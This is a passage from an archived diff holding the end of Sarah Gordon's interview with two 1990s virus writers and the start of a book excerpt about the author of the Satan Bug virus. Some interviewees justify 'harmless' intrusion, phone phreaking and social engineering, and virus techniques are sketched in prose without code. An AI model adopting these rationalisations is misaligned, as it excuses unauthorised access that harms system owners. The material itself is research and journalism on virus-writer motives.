GIFs. + +Anyway, we started getting in to games and stuff. One of the guys got a +copy of a game off his friend at home. It seems that this game was +infected with the Jerusalem-B virus. Now I didn't figure this out till +one day about a month later(during spring break) I noticed my Turbo +Debugger would not run. + +I called Borland (cause I bought the thing, I was not and never will be +a warez dOOd) and explained the error. They had no idea, so I asked if +it could be a virus, and they said it was a possibility. Wow! A virus +of my very own. So I hung up with Borland and got right on my local PD +BBS and downloaded the latest McAfee virus-Scam. Sure enough, all over +my hard drive was Jeru-B! + +Most people would be P.O'd right about now but I was very happy. To cut +this part short this is around the time I started learning how viruses +worked. When I got back to school I told all my buddies that I created +a virus. They were liked "Wow!" So we played around with the hacks that +I made. None of the others knew jack about programming so I could tell +them anything I wanted. The next thing you know we decided to start a +group, well I decided that we start a group. I don't really think any +of these people cared much - we weren't at the time real computer hacks +but non-the-less we started a (unnamed) group. + +That summer I really started calling BBS systems a lot. As it usually +goes I started picking up numbers for 'underground' BBSs. I called a +few local ones and all they had to offer were cheap warez and junk along +those lines. + +There was one good UNIX board however, that was running Citadel. Which +if you don't know is a primarily messaged based system. They had one +area called 'hack' where there were messages on hacking. So one day I +popped the big question, "How do yu write a virus?" What I didn't +realize at the time was 'hack' does not always mean 'hack' (as in +criminal). + +Needless to say I was scorned by the whole outfit on that system, but +they kept me on. A couple of days later I got some mail on that BBS +that said - "Youlike viruses? Call Landfill 914-HAK-VMBS". WOW! Could +this be, a virus BBS? So I called it right after getting the mail and +yes it was true, they did have viruses. The problem was I had to upload +viruses to download viruses. Damn. That Whale viruses in VSUM looked +sick, and this guy had it. + +So what did I do? I uploaded my little Jeru hack nd called it SKISM-1, +hoping these people would not catch on to what it was. The next day I +called the board and BAM! I had 8 file points, the problem was after +downloading the 64k Whale file (all strains) I had no file points left. +So what did I do? Hacked up another Jeru-B hack and uploaded it. + +I must mention that while reading some of the messages on the board I +kept seeing the name -=Phalcon=- at the end of some messages, at the +time I had not idea what it meant. Then late one night I gave Landfill +a call. To my surprise while scanning the new files the following text +comes up on my screen, "Garbageheap flings a bogger at you". What?!? +Oh, the sysop has pulled me into chat. + +"Hey what's up?," he types. So we got to talking and he mentioned that +he was in a group called Phalcon, and that (they) were hackers. I was +able to make him think I knew about hacking by agreeing to everything he +said about hacking (I am good at 'social engineering'). He asked me if +I was in a group and I told him I was in a group called Skism. Skism +was what my lame college group would have been called if anyone gave a +damn, so I wasn't really lying was I? + +Over the next week we chatted on-line more and more. He seemed to like +me because I was the only one uploading 'zero day viruses'. Then one +night we went voice, and that's where it all started. We came to the +conclusion that our groups should be joined, Phalcon was hackers and +Skism (me) as the virus end. So I agreed and the reset is history (I +know, cliche). + +Over time we started getting good at hacking and coding. Dark Angel came +back from his summer job (I wish I could tell you what it was, it would blow +your mind) and he started learning ASM. When I went to re-apply for school +they told me I couldn't get a loan for semester. So I decided to move out to +California for a while and just hang out. Out there I was free from my +parents so I could hack a lot easier. + +I didn't have a computer my first few months so I started to learn the phone +system, big mistake. To get off the subject, we started hooking up with a +lot of new people. And we recruited some new long distance members. One of +which was an ex-Rabid member, Time Lord. + +When I got a computer out there I started coding viruses again. Dark Angel +had gotten really good, really fast. Me and him were in friendly competition +for a while. 40Hex (which I forgot to include the origin of, if you want I +will type up a paragraph on that subject) had taken off. All the hack/phreak +boards wanted to become Phalcon/Skism sites. We officially became a group at +this point. + +Q: Please describe the main philosophy of your group as you see it. + +Lucifer: Don't ignore technology. We have it, and we must explore it. + +Hellraiser: The philosophy of the group then was to be the best at what we +did and to gain recognition. At least that's the way I saw it. + +Q: Do members of your group seem to share the same general philosophy? + +Lucifer: Yes. We are all rather computer obsessive. + +Hellraiser: I will say it again. I am still a member of the group in an +honorary way, I am not active at this time, nor have I been for the past 11 +months, nor will I ever be again. + +Q: Does your group meet in person, or only on the modems/BBS? + +Lucifer: We meet in person, or we hack to speak for free. Last year the big +game was to hack 1800 VMB's. + +Hellraiser: At the beginning yes, we did. After the great crises (more on +that later) I think we all grew up mentally enough to say, "We are our own +people." However, that was when the group started to lose cohesion. + +The core of the group lived in the same 10 mile radius. I lived around 30-40 +miles away from them. They met almost every day, because they were friends +before being a group. I met with them once every one or two months. We +talked almost every day on Landfill, or other local BBSs. When the long +distance members came into play we talked on BBSs and conference calls three +to four times a week. + +Q: What is the average age of your group members? + +Lucifer: 25 and up, except one, who is 21. + +Hellraiser: Now, around 20. Back when the group first started it was like +17. I was one of the older members (over 21). + +Q: What activities do you find most to your lking that your group does: +hacking, phreaking, partying :), etc. + +Lucifer: Viruses and hacking. + +Hellraiser: When I was in the group the thing I liked the most was coding +viruses, because it was something not just anyone could do. It gave me a +purpose in the group and made me one of the stronger assets. I was the only +virus programmer at the origin of the group. Dark Angel was the second. + +Q: What activities do you find most wrong that your group does? + +Lucifer: We let ourselves bow to the law. The law is restrictive and +oppressive. + +Hellraiser: I never liked hacking for profit, this was the groups' downfall. +Well as I see it the group died after the bust, they are still active, I +know. I think hacking for learning or exploration is fine. It is against +the law in most cases. + +I don't see anything wrong with 'harmless hacking' as long as no information +is damaged or tampered with. I know your thinking, "How would you like it if +someone rifled though your information?" And you are right on that account. +Yet I would rather have someone hack into my computer to prove he could do +it, than a person who hacks in the spy. + +Q: Does your group have any specific goals? If so, what? + +Lucifer: No. We just have fun. We don't even do much as a group any more. + +Hellraiser: Back then (when I say then, I mean the days when the group was in +its glory) the goal was to be the best at what they did. I think now the +goal is making money. Not all of us, but if I wanted to I could name two +people who are in it for the money. Unfortunately these are the people who +will be holding any legal binding to the group's name, so it will look like +we all soldout when they start making money off the name. Others in the +group are in it strictly for the sport. Dark Angel for one would never do +anything virus related for profit. + +============================================================================== + +"What are the beliefs of the authors? Is it moral to write viruses? +What do hackers do? In this third installment of Sarah Gordon's +in-depth interview with two legendary virus authors, she discusses with +them the ethics of writing viruses, and they reflect on their +philosophy of telephone phreaking and data destruction." + +"One of the perennial questions asked of virus writers is why do they do +it? The interview recorded explores what motivates such people. + +A serious difficulty when it comes to understanding viruses, virus +authors and the virus community is the inherent secrecy and paranoia of +its population. Sara Gordon speaks with two self-confessed virus +authors, Lucifer Messiah and Hellraiser." + +============================================================================== + +Q: Regarding ethics - did you have, at any point in time during your +education, specific ethics based classes? If so, when? + +Lucifer: Yes - a high school course called Man in Society. They don't +call it that anymore. Sexist name! + +Hellraiser: I went to Catholic school for 10 years if you can consider +that ethics. The problems is after I saw what hypocrites the Catholics +were it kind of turned off 'ethical' behavior for a while. I have lived +the past 12 years or so in hell. Back then I could (not) care less +about the other people because I hated myself. It is hard to be ethical +to other people when you ahve no self respect. + +Q: Please give me your definition of 'ethical' behaviour. + +Lucifer: Don't hurt what isn't yours. It is important to leave things +as you saw them when you came in. + +Hellraiser: Ethical behavior to me is caring about other people. If you +care about others, your behavior tends to lean towards ethical. + +Q: Do you think if something is legal to do, it is also OK to do? For +instance, it is illegal to kill a bird in the woods. Is it moral? + +Lucifer: Why would the bird be killed. Was its wing broekn? Head half +crushed? There are circumstances where anybody would kill the bird. + +Hellraiser: To a point yes. As long as people are not getting hurt or +ripped off. Some of the laws out there are BS, plain and simple. If +you feel in your mind that what you are doing is right, I encourage you +to do it. It is the idea this country was built on. Sadly now-a-days +laws are being passed to take away peoples rights. + +Q: Do you ever talk about ethics or if something is right or wrong with +your friends? If so, why? If not, why not? + +Lucifer: We talk in depth about anarchy and various anarchist +organizations. + +Hellraiser: The only person I have had an ethical converstaion with +(computer wise) has to be Garbageheap. We both share (somewhat) the +same viewpoint on ethics. The context of the conversation related to +hacking. We figured if no one was getting ripped off or hurt, it was OK. + +Q: Have you ever been arrested :) for computer-related crime? If so, +what? + +Lucifer: No. + +Hellraiser: Yes, I was arrested for theft of services. Put simply I was +using a PBX system I should not have been using. + +Q: Do you feel you were treated fairly by law enforcement officials? Do +you feel what you did was illegal and did you expect to be caught? + +Lucifer: I had a phone book confiscated from me. It had confidential +numbers in it. I flaunted it to the wrong person. + +Hellraiser: I feel I was treated fairly by the D.A. Some of the +arresting officers tried to play the "bad cop" to scare me. I knew it +was all an act so it didn't bother me. I doubt most of the cops even +knew what my crime consisted of. An ignorant cop is the worst kind of +cop. My primary concern is how I will be treated by the law in the +future. It seems that if you have a criminal record in this country you +can never again be trusted. I would like to see how I will be treated +next time I get pulled over for speeding, or get caught in the wrong +neighborhood. + +Q: If you expected to be caught, why did you do the act? + +Hellraiser: I really did not expect to be caught. The PBX was about the +most illegal act I performed. I tried to keep a M.O. of not doing +anything to cost anybody money. The PBX was a mistake. I only used it +a little ($101.92) - I didn't think that was enough to get me caught. I +was, of course, wrong. + +Q: If you did not expect to be caught, why did you think you did not +expect to be caught? + +Hellraiser: It seems that most hackers/phreakers never think they will +get caught. No matter how many people they see around them go down, +they think - It could never happen to me. + +Q: There is a trend lately to offer viruses via the Internet. How many +places do you know of that do this? Do you think it is responsible? If +so, why? If not, why not? + +Lucifer: There used to be two. Skism's thing went down. PC Scavenger +is still here, and will probably stay, because they aren't a virus +exchange. They do have a real and legitimate service. + +Hellraiser: I only know of a couple of places, due to the fact that I am +only now getting into the Internet. It is in there (their) legal rights +to do so, but I do not think it is responsible. The reason I think this +way is I feel viruses should not be given to just anyone. People get +hurt as a result of misuses of computer viruses. [Misuses, is there any +good use for computer viruses?] + +Q: What is your impression of anonymous mailers? Do you think they +contribute to illegal activities of harassment? Have you ever used one, +and would you consider using one? + +Lucifer: I would never use one. First, I don't use my real name on the +Internet. This is because I wanted to be able to talk about computer +viruses openly and have people know who I am in the underground. It +isn't an entirely fake name, though. It is a pen name I use in a lot of +places. + +Hellraiser: Of course it contributes to illegal activities. On the +other hand - is can be a useful asset. With great power comes great +responsibility - you can bet any loophole will be exploited for evil. I +have been using them a lot over the past week, not for anything bad, +just your standard use. I think they make life a whole lot easier. + +Q: What is your impression of virus exchange bulletin boards (Vx BBSs)? +Are you familiar with the study by me which documents that the viruses +themsleves do not yet have significant direct impact on users? + +Lucifer: Most virus exchanges have inferior produce. Lots of garbage, +and a lot of lies. They say they do it for one or other reason, but +when it comes down to it, it is to just have a bigger collection. + +Hellraiser: I have two views on Vx BBSs. On the legal side, exhcnaging +viruses is currently legal. I am not the one to go against someone's +rights. On the moral side, I don't think viruses should be handed out +to just anyone. + +One thing I have to say about Vx BBSs is they (kind of) keep the +majority of the viruses out of the wild, despite what people may think. +The reason I say this is the majority of the viruses being made today +are uploaded directly to BBSs, not put out "in the wild". If it weren't +for virus exchange boards, the only way to spread viruses would be +though the wild, leaving more people to get infected. The one major +flaw with this theory i that the viruses will be downloaded. Now the +average virus collector adds the virus to his collection and leaves it +at that, but there will always be that one person who uses a virus for +no good. As for your study, I am unfamiliar with it. + +Q: Have you heard other things about this study, such as it was used to +try to close Vx BBSs? If so, did you believe this? If you did, why? +If not, why not? + +Lucifer: Oh, I've heard a lot about you :) Not that much with +substance. Just stupid name calling and you being a narc. I don't +care. I don't listen to BS when it doesn't have proof. It is easy to +dislike people you don't know. + +Hellraiser: N/A + +Q: What do you see is the main problem virus writers such as NuKE have +with anti-virus programmers, educators, etc.? + +Lucifer: Their big mouths, thier complete disrespect for others. That's +the problem I see. Bontchev seems very indifferent, but they still say +bad stuff abut even him. He is not anti-virus. Anti-BS maybe! + +Hellraiser: I see the whole concept behind Nuke as a giant gimmick. +They want everyone to think they are the bad-ass virus writers, so they +must be the AVs sworn enemy. The thing that they do not realize is that +by publicly fighting these AV people they are making them (the AV +people) look better. They have to realize that the AV people are the +ones making the money here. What is Nuke getting out of it? Fame? No +I doubt that. If viruses writers wanted to really piss off AV people +they would stop writing viruses. Nuke just plays the role, that's all. + +Q: What is your opinion of groups such as NuKE? Do you think they are +ingaged in destructive behaviour, or do you feel they are posers? + +Lucifer: Read their source codes. Of course they are in it for +malicious reasons. Besides, the more malicious they are, the more +notorious they become. Would you please shine a little more light over +here?? - just kidding. + +Hellraiser: N/A + +Q: Have you always felt the same way? If not, what changed your mind? + +Lucifer: Yes. Ever since I heard of a virus group called KNULL. +That's Swedish for fuck. They had it stand for something (K for +crack... etc.). They dried up after 2 virus outbreaks. + +Hellraiser: I have always felt the same way. Rabid on the other hand, +were involved in destructive acts - I know this for a fact. Nuke are +harmless. + +Q: How do you feel about the deliberate destruction of data? + +Lucifer: Stupid and foolish actions. Irresponsible. That isn't what +hacking is all about. + +Hellraiser: Two years ago I would have laughed if you told me one of my +creations wiped out a somebodies information. Today I am in a different +frame of mind. Losing data is _not_ funny whether it's a companies +payroll or Grandpa Smiths Windows directory. Nobody likes to lose data. + +Q: What is your philosophy on telephone phreaking? + +Lucifer: I recently changed my mind on that one. My friend got an +$1,800 phone bill that he didn't make. I don't like that kind of +phreaking. For blue boxing, I'm all for it. + +Hellraiser: I feel the glory days of phreaking were the only days of +true phreak-dom. Using a toll fraud device back in the 60's or 70's was +harmless. You were ripping Ma Bell off for a $3.00 call that in reality +cost about three cents. Now-a-days it is a totally different story. +Today phreaking is more of a white collar crime, than a harmless hippie +prank. Businesses and everyday people are losing _big_ money on PBX and +Calling Card fraud. A lot of "phreaks" of today do not realize that. +Phreaks are dead, long live the phreaks! + +Q: Do you think most virus writers that you are acquainted with are +intentionally destructive? + +Lucifer: Yes. + +Hellraiser: The ones that I know, do not do it to destroy. The only +targets of destruction my contacts have targeted are warez boards, and +this was a long time ago. The majority (large majority) of virus coders +I know do it to show off what they know. I don't think to many of them +realize that people will get hurt somewhere up the line if that new +virus they wrote gets out. You always hear the excuse, "Well my virus +does not wipe data", which is just that, an excuse. All viruses are +destructive. All viruses corrupt files that people do not want tampered +with. Even that cute little message, "V-MAN Has infected you system!", +is in my eye, destructive. + +Q: Do you feel that viruses should be made available to anyone that +wants them, with no respect to their motive, intent, or capability to +handle them? + +Lucifer: No. + +Hellraiser: No I do not. But the reality is that they always will be +available to anyone who wants them. It's kind of like drugs. Do you +think passing a law to ban the availability of viruses will stop Vx +boards? Pirated software is quite illegal, yet it seems every area code +has six or seven warez boards. Even if a law was passed against virus +exchange, the trade would not die. I doubt the feds would do anything +about it after initial 'example' cases. One thing I learned is the feds +could (not) careless about anything except monetary loss. How many +warez boards get busted every year? Two? Plus the only warez boards +that get busted are the ones that charge for membersship (Rusty and +Eddies, etc.). + +In an ideal world, I would never want to see an irresponsible person +handle a virus. But this is not an ideal world. + +============================================================================== + +"In this last instalment of Sara Gordon's in-depth interview with the +two legendary virus authors, she discusses with them the perception of +the media with regard to virus writers and hackers - they disclose which +virus writer has most influenced them and how" + +"A serious difficulty when it comes to understanding viruses, virus +authors and the virus community is their inherent secrecy and paranoia. +However, the anti-virus community does communicate although invariably +via e:mail on the Internet. Sara Gordon has conducted a series of +on-line interviews with two self-confessed virua tuhors, Lucifer Messiah +and Hellraiser. + +A knee-jerk reaction to virus authors is that they should be "flogged", +or suffer some other seriously unpleasant punishment. Simply talking to +them is regarded by some elements of the anti-virus community as +subversive. In this final part of Sara Gordon's interview, we learn +more about virus writers and their community." + +============================================================================== + +Q: What do you think of magazines like 40Hex and Crypt and Nuke +Info-Journal? Can you compare the content of them and state how you +view them with regard to the information presented? + +Lucifer: Sometimes the articles are very good. Other times they are +trash. More often trash. + +Hellraiser: Being that I am the creator of 40Hex, I will just say that +it is an informative magazine. The only thing that separates it from a +legitimate publication is the fact that it has virus source in it. I +have not read enough Crypt journals to make a honest assessment, however +from what I did read it seems to be a close second if not tied with +40Hex as the pro-virus magazine top spot. + +As for Nuke Info-Journal, I think I have made it clear by now my opinion +of Nuke. The magazine has not been stable enough in its views or format +to make any other judgment than, it sucks. (Beavis & Butthead would +agree, I'm sure). Seriously the Nuke Info-Journal as of late has been +filled with so many garbage and 'filler' articles it is unfair to +consider it a virus magazine. + +Q: Why do you use an alias? Where did you find your alias, i.e. how was +it chosen? + +Lucifer: I already explained that one at the beginning [of this +interview]. + +Hellraiser: An alias helps you hide who you are, obviously. Other than +that it helps you forget who you are. "I am not John Smith, Comp. Sci. +major - I am "The_WarMaster" smasher of lamers!" + +I got my handle from the movie Hellraiser and the novella The Hellbound +Heart by Clive Barker. You may think it is just another horror movie, +but it really does have its own myths and a large cult following. The +'heroes' of the story are beings who take pleasure in other peoples +suffering. Kind of like virus authors, huh? Is there a connection? I +will leave that up to you to decide. + +Q: How long have you written viruses? Which ones have you written? + +Lucifer: For about three and a half years now. I've written too many to +list. Some were just deliberate hacks to show other people how easy +that was. Others were fully my own, or the groups own. Others grought +in new technologies. We have a few of those. + +Hellraiser: I have been writing viruses since mid-1991. For the record +the only viruses that were released by me were; Skism-1, Captain Trips, +Bad Brains, Marauder, and Shiny Happy - in that order. + +Q: Have you ever released a virus, intentionally or unintentionally? +What was the result? + +Lucifer: Yes. The 'SBC/KS Test' virus really got around before it was +got under control. I didn't relrease that intentionally. I gave it +away to an idiot, who's initials are SBC, by the way. + +Hellraiser: I will not answer this question due to obvious reasons. + +Q: Have you ever conducted business with any anti-virus product +developer? If so, what were the circumstances? How were you treated by +him or her? + +Lucifer: Yes. Only virus trades, though. Most of them are European. +Americans are too afraid. + +Hellraiser: This may not be business as you were thinking, but... + +I was on a conference call with John McAfee. We called him because at +the time he had the number one anti-virus product out. John Markoff +from Computerworld was also on the conference. Computerworld did an +article about the conference. + +John was very nice towards us, yet we could see that he has two faces. +He would talk openly to us when Markoff was not o, but he played the +hard role when the tape was rolling. John introduced us to John Dvorak +over the phone. Dvorak seemed like a pretty mellow guy. Yet he seemed +more interested in graffiti than viruses. + +We also had a conference call with Ross Greenburg, creator of Flu-Shot. +Honestly I am not sure if he knew we were virus authors. We just told +him we would like to interview him for 40Hex magazine. Before I talked +to him, I had the impression he was a fool, due to his comments in the +documentation for Flu-Shot. To my surprise Ross was an OK guy. I got +the impression he was a little sick of his career as a AV person. + +Q: Please define for me what you think 'research' is. Who is qualified +to present themselves as a 'researcher'? + +Lucifer: Not many are researchers. PC Scavenger is real research. So +is Bontchev and Dr. Solly. I don't believe McAfee is, otherwise he'd +have a better program. SKISM are a research group. They research +viruses to advance them. The Hell Pit is NOT a research BBS...they only +trade. + +Hellraiser: Research, for a Vx BBS, is the same thing as calling a warez +board a software rental outfit. It's just a safety precaution to stay +out of trouble with the law. A virus researcher in the true sense is +someone committed to stopping the spread of computer viruses, or at +least someone making money off an AV product. I guess the only people +qualified would be people with real (not vaporware, ahem Nuke) AV +products in the works. + +Q: What is your opinion of the following people: John McAfee, Patti +Hoffman, Fridrik Skulasson, Frans Veldman, Vesselin Bontchev, Eugene +Kaspersky, Cliff Stoll, Rock Steady, Chris Peelter, Erik Bloodaxe, Time +Lord, Dark Angel, Aristotle, John Buchanan, Mark Ludwig, Morton Swimmer, +Hans Heubner, Eric Corley, Urnst Kouch, Peter Tippet? (Note: This +question was asked to discern if the subjects would have any recognition +of positive role models.) + +Lucifer: I just heard of Eugene Kaspersky today. No comment, I don't +know him. I like Bontchev. I don't like McAfee because he lies too +much. Rock Steady is a pre-pubescent shithead (you'll have to +paraphrase that!), Dark Angel is the programmer from hell, his DASBOOT +really boots! Aristotle is lame, Mark Ludwig wrote a book on viruses +when he didn't know much about them. He's gotten much smarter these days. + +Urnst Kouch is cool, but he has a heavily inflated ego, Time Lord seems +okay, but he is vapourware pro. Patti Hoffman, I like her. She found a +really unique way to make money in this virus era. Frans Veldman is +hard to talk to. Fridrik Skulasson is cool, especially since he is also +Scandinavian. I never say bad things about Scandinavians. Erik +Bloodaxe has a bad name in Toronto, who is he? Never saw him before. +Solly is cool. I see him on the Internet often. + +Hellraiser: John McAfee - A man pushing obsolete technology. If john +wasn't such a shrewd businessman, he would be out of business. His +product was once useful, but with the amount of viruses out there today +it is quite useless - as are all string scanners. + +Patii Hoffman - Sort of the Bill Clinton of the virus world. Her heart +is in the right place, but she has no idea what she is doing. + +Fridrik Skulasson - A man who has chosen virus research as his career, +and he feels has has to make the best of it. He has a good sense of +humor, and he really knows how to piss off a virus coder. His product +is very well done, although I prefer TBAV. I have a feeling that when +the general public becomes enlightened to the power of heuristics, he +will have a number one product. + +Frans Veldman - I do not know enough about him to make a judgement. I +will not include people in this category from now on. + +Vesselin Bontchev - By reading this mans work I sense he is hiding +something. Most likely his connection to the Dark Avenger. I believe +this man is working with the Dark Avenger, if he is not the Dark Avenger +himself. I have never used his products. I guess he is the John McAfee +of Bulgaria. + +Cliff Stoll - A very energetic, if not psychotic man. I read his book +and found it somewhat interesting. He is what I consider a 'good' +hacker. If he wasn't so good, he would be hacking himself. I would +like to sit down and have a talk with him someday. He's a real character. + +Rock Steady - A fool, plain and simple. See the earlier portions of +this interview for some clues as to why I feel this way. + +Erik Bloodaxe - An old hack, who is living off his past. It's time to +move on Erik! I don't know him personally, it's just the impression I +get from people like him. + +Time Lord - A great guy and a good friend. He is one of the few good +things that came out of my hacking ordeal. TL must get over his +rebellious hacker mode if he wats to move on. He has been lucky so far +- I learned luck does run out. + +Dark Angel - Again a great guy and a good friend. He is a very bright +kid and I think as soon as he gets over writing viruses, he will make it +big in whatever field he chooses. + +Aristotle/John B. - A strange, possible schizophrenic/highly +manipulative man. I do not trust this guy. John has problems, +obviously. First and foremost is that he never grew up. He is still +living in the 'I am a menace to society, so watch your back' mode. I +can't understand how a grown man, with a wife and kids can act like +him. If john had half a brain I would consider him a potential threat. +It is a good thing this is not the case. + +Eric Corley - I met him a few times. He is a true hacker, and will +never stop hacking even if it does not involve physical hacking. He +shares the same mind state I see in Phiber Optik, Ixom, and others. I +can't relate with people like that. + +Q: What is your primary perception of the media as relates to hackers +and virus writers? Why? + +Lucifer: Oh god, I could write a book. I am very unhappy about most of +it. I do like the attention I get when people hear that I'm a hacker. +They think I am a god or something. + +Hellraiser: The media uses hackers and viruses writers to sell papers, +that's business. Hackers and viruses writers are always padded out as +being some sort of deranged super-genius. They make the public think +that hacking into systems takes an incredible skill. In reality and +lamer with a UNIX book and a list of defaults can hack into 50 per cent +of the systems he or she comes across. The media press on virus writers +is always the same, a angry young man sits behind a terminal blasting +death metal. + +Q: Are you aware of the new trend by some virus writers and some a-v +people to recreate the myth of Dark Avenger? Do you know who the Dark +Avenger is, i.e., not his real name of course, but what his history is? + +Lucifer: Yes. I know a lot about him. It is more of a myth than +anything, because he wasn't anything much, same as Rabid. Lots of +distribution, but that's all. + +Hellraiser: To be honest I know nothing about the Dark Avenger - which +is one reason I find him so intriguing. I know nothing of this trend, +nor his history. If you told me he was Vesselin Bontchev I would not be +suprised. + +Q: What is your impression of the Dark Avenger's impact on virus +writing in the past five years/ + +Lucifer: False. Plastic. Just another thing to cry about. The MtE +was perfect to jolt everybody upright, though. + +Hellraiser: I have not heard much about him over the last year or so. +He was all the rave when Bulgaria was the hot-spot for computer +viruses. His smarts for viruses combined with his mysterious identity +makes him the number one virus aithor in history. If you asked me two +years ago what virus programmer I respected the most, I would say the +Dark Avenger. + +Q: What virus writer has most influenced you at different stages of your +virus writing life (can be more than one, more than one time in your +life), and how has he or she influenced you? + +Lucifer: None. + +Hellriaser: Unknown origins. The only one that actually had any impact +on me was Dark Angel. Dark Angel started out learning from me. We were +in a friendly competition there for a while. In no time his skill +surpassed me [and] he was teaching me. He is a great teacher, and +willing to teach. He is the only person I allowed to influence me. + +Q: Do you think you will ever stop writing them? + +Lucifer: Yes + +Hellraiser: Yes, in fact I haven't coded a virus in over a year. I will +never code a virus again. + +Q: Why would you stop writing viruses? What has happened to you, or to +the virus writing scene in general, that makes you personally want to +stop? + +Lucifer: I've slowed down considerably. The scene is boring, and I can +think up only so many ideas that are my own. + +Hellraiser: Virus writing is a waste of creative energy. It limits the +coder to one set area. On top of this I now realize it is wrong, and +can cause people unwanted strife. The person I once was is quite dead, +the only way I can move on is if he stays that way. + +============================================================================== + +Conclusion: These young men are representative of the vast majority of +virus writers and are, finally, ex-virus writers - they may be involved +in shaping the future of computer. The turning away from virus writing +is a virus positive trend, and one that will hopefully continue. + +In my opinion communication is one of the most important methods of +dealing with the virus and security threats that we are facing today's +global computer environments. A willingness to discuss issues and ideas +is the first step we all have to take if we wish to shape Cyberspace, +and enable it to become all that it has the potential to become. + + diff --git a/textfiles.com/virus/locprst.txt b/textfiles.com/virus/locprst.txt new file mode 100644 index 00000000..aed857fa --- /dev/null +++ b/textfiles.com/virus/locprst.txt @@ -0,0 +1,670 @@ +[An excerpt from THE VIRUS CREATION LABS: A JOURNEY +INTO THE UNDERGROUND] + +A PRIEST DEPLOYS HIS SATANIC MINIONS + +Everyone knows the best virus writers hang out on +secret bulletin board systems, the bedroom bohemias +of the computer underground, right? Wrong. In +mid-1992, a 16-year-old hacker from San Diego who called +himself Little Loc signed on to the Prodigy on-line service +for his virus information needs. The experience was +not quite what he expected. + +Prodigy had a reputation in 1992 as the on-line service +for middle-class Americans who could stand mind-roasting +amounts of retail advertising on their computer screens as +long as they had relatively free access to an almost +infinite number of public electronic mail forums devoted +to callers' hobbies. Since Prodigy's pricing scheme was +ridiculously cheap per hour, it was quite seductive for +callers to spend an hour or two a night sifting through +endless strings of messages just to engage in a little +cyberspace chit-chat. + +Into this living-room atmosphere stepped Little Loc, logged +on as James Gentile, looking for anyone to talk with about +computer viruses, particularly +his idea of properly written computer viruses. Little +Loc, you see, had written a mutating virus which infected +most of the programs on a system dangerously quickly. +If you were using anti-virus software that didn't properly +recognize the virus - and at the time it was written none +did - the very process of looking for it on +a machine would spread it to every possible program on +a computer's hard disk. While many viruses were trivial +toys, Satan Bug, which is what Little Loc called his +program, was sophisticated enough to pose a real hazard. +The trouble was, Little Loc was dying to tell people +about Satan Bug. But he had no one to talk to who would +understand. That's where Prodigy came in. +Prodigy, thought Little Loc, must have some hacker +discussions, even if they were feeble, centered on viruses. +It was a quaintly naive assumption. + +The Satan Bug was named after a Seventies telemovie starring +George Maharis, Anne Francis and a sinister Richard +Basehart in a race to find a planet-sterilizing super +virus stolen from a U.S. bio-warfare lab. +Little Loc had never actually seen the movie, but he'd +run across the name in a copy of TV Guide +and it sounded cool, so he used it for his digital +creation. Satan Bug was the second virus he had electronically +published. The first was named Fruitfly but it was a +slow, tame infector so the hacker didn't push it. + +A bigger inspiration for Satan Bug was the work of the +Dark Avenger, the shadowy Bulgarian virus programmer whom +anti-virus software p.r. men and others had elevated to +the stature of world's greatest virus writer. Little Loc was fascinated +by the viruses attributed to Dark Avenger. The Dark Avenger +obviously knew how real computer viruses should be written, +thought Little Loc. None of his programs were like the silly +crap that composed most of the files stocked by the +computer underground. For example, his Eddie virus - also +known as Dark Avenger - had gained a reputation as a program to +be reckoned with. It pushed fast infection to a fine art, +using the very process anti-virus programs used to examine +files as an opportunity to corrupt them with its presence. +If someone suspected they had a virus, scanned for it and +Eddie was in memory but not detected, the anti-virus +software would be subverted, spreading Eddie to every +program on the disk in one sweep. Eddie would also +mangle a part of the machine's command shell when it jumped +into memory from an infected program. +When this happened, the command processor would reload +itself from the hard disk and promptly be infected, too. +This put the Eddie virus in total charge of the machine. +From that point on, every sixteen infections, the virus +would take a pot shot at a sector of the hard disk, +obliterating a small piece of data. If the data were +part of a never-used program, it could go unnoticed. +So as long as the Eddie virus was in command, the +user stood a good chance of having to deal with a slow, +creeping corruption of his programs and data. + +Little Loc was a good student of the Dark Avenger's +programming and although he was completely self-taught, +he had more native ability than all of the other virus +programmers in the phalcon/SKISM and NuKE hacking groups. +"[Virus writing] was something to do besides blasting furballs +in Wing Commander," he said blithely when asked about +the origins of his career as a virtuoso virus writer. + +Accordingly, the Satan Bug was just as fast an infector as +Eddie and it, too, would immediately go after +the command shell when launched into memory from +an infected program. But Satan Bug was very +cleverly encrypted, whereas Eddie was not, +and it extended these encryption tricks so that it +was cloaked in computer memory, a feature somewhat +unusual in computer viruses but popularized by another +program called The Whale which intrigued Little Loc. + +The Whale was a German virus which - theoretically - +was the most complex of all computer viruses. It +was packed with code which was supposed to make it +stealthy -- invisible to certain anti-virus software +techniques. It was armored with anti-debugging code +and devilishly encrypted, designed purely to +flummox anti-virus software developers trying to examine it. +They would often mention it as an example of a super +stealth virus to mystified science and technology +writers looking for good copy. In practice, The +Whale was what one might call anti-stealth. +Although it was all the things mentioned and more, +when run on any machine, The Whale's processes +were so cumbersome the computer would be forced to +slow to a crawl. Indeed, it was a clever fellow who could +get The Whale to consent to infect even one program. + +The Whale appeared to be purely an intellectual +challenge for programmers. It was intended to mesmerize +anti-virus software developers and suck them into +spending hours analyzing it. Little Loc, too, was +drawn to it. He pored over the German +language disassembly of The Whale's source code. +The hacker even made a version that wasn't encrypted, +pulling out the code which The Whale used to generate +its score of mutant variations. It didn't help. The +Whale, even when disassembled, was loathe to let go of +its secrets and remained a slow, obstinately +uninfective puzzle. + +Have you gotten the idea that Prodigy callers might +not be the perfect choice as an audience to +appreciate Little Loc's Satan Bug? + +Nevertheless, Little Loc landed on Prodigy with a thud. +He described the Satan Bug and invited anyone who +was interested to pick up a copy of its source code at +a bulletin board system where he'd stashed it. Immediately, +the hacker got into a rhubarb with a Prodigy member named +Henri Delger. Delger was, for want of a better description, +the Prodigy network's unpaid computer virus help desk +manager. Every night, Delger would log on and look for +the messages of users who had questions about computer +viruses. If they just wanted general information, Delger +would supply it. If they had some kind of computer glitch +which they thought might be a virus, Delger would hold their +hand until they calmed down, and then tell them what to +do. And, for the few who had computer virus infections, +Delger would try to identify the virus and recommend +software, usually McAfee Associates' SCAN, which would +remedy the problem. + +Little Loc was annoyed by Delger, whom he thought was merely +a shill for McAfee Associates. Since Delger +answered so many questions on Prodigy, he had a set of +canned answers which he would employ to make the workload +lighter. The canned answers tended to antagonize Little Loc +and other younger callers who fancied themselves hackers, too. +Prodigy's liberal demo account policy allowed some of +these young callers to get access to the network under +assumed names like "Orion Rogue." This allowed them to be +rude and truculent, at least for a few days, to paying +Prodigy customers. These techno-popinjays, of course, +immediately sided with Little Loc, which didn't do much for +the virus programmer's credibility. + +There was 